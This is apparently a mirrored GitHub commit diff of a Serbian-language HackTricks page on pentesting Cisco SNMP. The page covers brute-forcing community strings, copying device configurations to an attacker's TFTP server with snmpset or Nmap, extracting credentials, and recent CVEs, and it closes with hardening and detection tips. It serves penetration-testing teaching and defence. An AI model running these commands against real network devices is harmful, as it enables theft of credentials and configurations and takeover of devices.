mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-snmp/cisco-snmp.
This commit is contained in:
parent
211cb8bc1d
commit
3f4550bf98
@ -4,34 +4,92 @@
|
||||
|
||||
## Pentesting Cisco Networks
|
||||
|
||||
**SNMP** funkcioniše preko UDP-a sa portovima 161/UDP za opšte poruke i 162/UDP za trap poruke. Ovaj protokol se oslanja na zajedničke stringove, koji služe kao lozinke koje omogućavaju komunikaciju između SNMP agenata i servera. Ovi stringovi su ključni jer određuju nivoe pristupa, posebno **samo za čitanje (RO) ili za čitanje i pisanje (RW) dozvole**. Značajan napad za pentestere je **brute-forcing zajedničkih stringova**, sa ciljem infiltracije mrežnih uređaja.
|
||||
**SNMP** funkcioniše preko UDP-a sa portovima **161/UDP** za opšte poruke i **162/UDP** za trap poruke. Ovaj protokol se oslanja na *community strings*, koji služe kao plaintext "lozinke" koje omogućavaju komunikaciju između SNMP agenata i menadžera. Ove stringove određuju nivo pristupa, posebno **samo za čitanje (RO) ili čitanje i pisanje (RW) dozvole**.
|
||||
|
||||
Praktičan alat za izvođenje ovakvih brute-force napada je [**onesixtyone**](https://github.com/trailofbits/onesixtyone), koji zahteva listu potencijalnih zajedničkih stringova i IP adrese ciljeva:
|
||||
Klasičan—ali i dalje izuzetno efikasan—napadni vektor je **brute-force community strings** kako bi se unapredilo sa neautentifikovanog korisnika na administratora uređaja (RW community). Praktičan alat za ovu svrhu je [**onesixtyone**](https://github.com/trailofbits/onesixtyone):
|
||||
```bash
|
||||
onesixtyone -c communitystrings -i targets
|
||||
onesixtyone -c community_strings.txt -i targets.txt
|
||||
```
|
||||
#### `cisco_config_tftp`
|
||||
|
||||
Metasploit okvir sadrži `cisco_config_tftp` modul, koji olakšava ekstrakciju konfiguracija uređaja, pod uslovom da se dobije RW community string. Osnovni parametri za ovu operaciju uključuju:
|
||||
|
||||
- RW community string (**COMMUNITY**)
|
||||
- IP adresa napadača (**LHOST**)
|
||||
- IP adresa ciljnog uređaja (**RHOSTS**)
|
||||
- Odredišna putanja za konfiguracione datoteke (**OUTPUTDIR**)
|
||||
|
||||
Nakon konfiguracije, ovaj modul omogućava preuzimanje podešavanja uređaja direktno u određenu fasciklu.
|
||||
|
||||
#### `snmp_enum`
|
||||
|
||||
Još jedan Metasploit modul, **`snmp_enum`**, specijalizovan je za prikupljanje detaljnih informacija o hardveru. Radi sa bilo kojim tipom community string-a i zahteva IP adresu cilja za uspešno izvršenje:
|
||||
Druge brze opcije su Nmap NSE skripta `snmp-brute` ili Hydra-ov SNMP modul:
|
||||
```bash
|
||||
msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public
|
||||
msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10
|
||||
msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
|
||||
nmap -sU -p161 --script snmp-brute --script-args brute.community=wordlist 10.0.0.0/24
|
||||
hydra -P wordlist.txt -s 161 10.10.10.1 snmp
|
||||
```
|
||||
---
|
||||
|
||||
### Dumping configuration through SNMP (CISCO-CONFIG-COPY-MIB)
|
||||
Ako dobijete **RW zajednicu**, možete kopirati running-config/startup-config na TFTP/FTP server *bez CLI pristupa* zloupotrebom CISCO-CONFIG-COPY-MIB (`1.3.6.1.4.1.9.9.96`). Dva uobičajena pristupa su:
|
||||
|
||||
1. **Nmap NSE – `snmp-ios-config`**
|
||||
```bash
|
||||
nmap -sU -p161 --script snmp-ios-config \
|
||||
--script-args creds.snmp=private 192.168.66.1
|
||||
```
|
||||
Skripta automatski orkestrira operaciju kopiranja i ispisuje konfiguraciju na stdout.
|
||||
|
||||
2. **Ručno `snmpset` sekvenca**
|
||||
```bash
|
||||
# Copy running-config (4) to a TFTP server (1) – random row id 1234
|
||||
snmpset -v2c -c private 192.168.66.1 \
|
||||
1.3.6.1.4.1.9.9.96.1.1.1.1.2.1234 i 1 \ # protocol = tftp
|
||||
1.3.6.1.4.1.9.9.96.1.1.1.1.3.1234 i 4 \ # sourceFileType = runningConfig
|
||||
1.3.6.1.4.1.9.9.96.1.1.1.1.4.1234 i 1 \ # destFileType = networkFile
|
||||
1.3.6.1.4.1.9.9.96.1.1.1.1.5.1234 a 10.10.14.8 \ # TFTP server IP
|
||||
1.3.6.1.4.1.9.9.96.1.1.1.1.6.1234 s \"backup.cfg\" \\
|
||||
1.3.6.1.4.1.9.9.96.1.1.1.1.14.1234 i 4 # rowStatus = createAndGo
|
||||
```
|
||||
Row identifikatori su *jednokratni*; ponovna upotreba unutar pet minuta izaziva `inconsistentValue` greške.
|
||||
|
||||
Kada je datoteka na vašem TFTP serveru, možete pregledati kredencijale (`enable secret`, `username <user> secret`, itd.) ili čak poslati izmenjenu konfiguraciju nazad na uređaj.
|
||||
|
||||
---
|
||||
|
||||
### Metasploit dobrote
|
||||
|
||||
* **`cisco_config_tftp`** – preuzima running-config/startup-config putem TFTP nakon zloupotrebe iste MIB.
|
||||
* **`snmp_enum`** – prikuplja informacije o inventaru uređaja, VLAN-ovima, opisima interfejsa, ARP tabelama, itd.
|
||||
```bash
|
||||
use auxiliary/scanner/snmp/snmp_enum
|
||||
set RHOSTS 10.10.100.10
|
||||
set COMMUNITY public
|
||||
run
|
||||
```
|
||||
---
|
||||
|
||||
## Nedavne Cisco SNMP ranjivosti (2023 – 2025)
|
||||
Praćenje saveta proizvođača je korisno za određivanje *zero-day-to-n-day* prilika unutar angažovanja:
|
||||
|
||||
| Godina | CVE | Pogođena funkcija | Uticaj |
|
||||
|--------|-----|-------------------|--------|
|
||||
| 2025 | CVE-2025-20174 | SNMP podsystem | Prilagođeni paket dovodi do autentifikovanog *DoS* (reload) na IOS/IOS-XE (v1/v2c/v3). |
|
||||
| 2024 | CVE-2024-20373 | IPv4 ACL rukovanje | Pogrešno konfigurisane **proširene** ACL-ove tiho *ne uspevaju*, omogućavajući neautentifikovano SNMP preuzimanje kada je poznata validna zajednica/korisnik. |
|
||||
| 2025 | (nema CVE još) | Zaobilaženje ograničenja konfiguracije SNMPv3 | Validan v3 korisnik može preuzimati sa adresa koje bi trebale biti odbijene. |
|
||||
|
||||
Iskoristivost često još uvek zavisi od posedovanja zajedničkog stringa ili v3 akreditiva—još jedan razlog zašto njihovo brute-forcing ostaje relevantno.
|
||||
|
||||
---
|
||||
|
||||
## Saveti za učvršćivanje i detekciju
|
||||
|
||||
* Ažurirajte na ispravljenu verziju IOS/IOS-XE (videti Cisco savet za gornji CVE).
|
||||
* Preferirajte **SNMPv3** sa `authPriv` (SHA-256/AES-256) umesto v1/v2c.
|
||||
```
|
||||
snmp-server group SECURE v3 priv
|
||||
snmp-server user monitor SECURE v3 auth sha <authpass> priv aes 256 <privpass>
|
||||
```
|
||||
* Povežite SNMP sa upravljačkim VRF-om i **ograničite sa *standardnim* numerisanim IPv4 ACL-ovima** (prošireni imenovani ACL-ovi su rizični – CVE-2024-20373).
|
||||
* Onemogućite **RW zajednice**; ako je operativno potrebno, ograničite ih sa ACL i pogledima:
|
||||
`snmp-server community <string> RW 99 view SysView`
|
||||
* Pratite:
|
||||
- UDP/161 skokove ili neočekivane izvore (SIEM pravila).
|
||||
- `CISCO-CONFIG-MAN-MIB::ccmHistoryEventConfigSource` događaje koji ukazuju na promene konfiguracije van opsega.
|
||||
* Omogućite **SNMPv3 logovanje** i `snmp-server packetsize 1500` da smanjite određene DoS vektore.
|
||||
|
||||
---
|
||||
|
||||
## Reference
|
||||
|
||||
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
- Cisco: *Kako kopirati konfiguracije na i sa Cisco uređaja koristeći SNMP*
|
||||
- Cisco sigurnosni savet *cisco-sa-snmp-uwBXfqww* (CVE-2024-20373)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user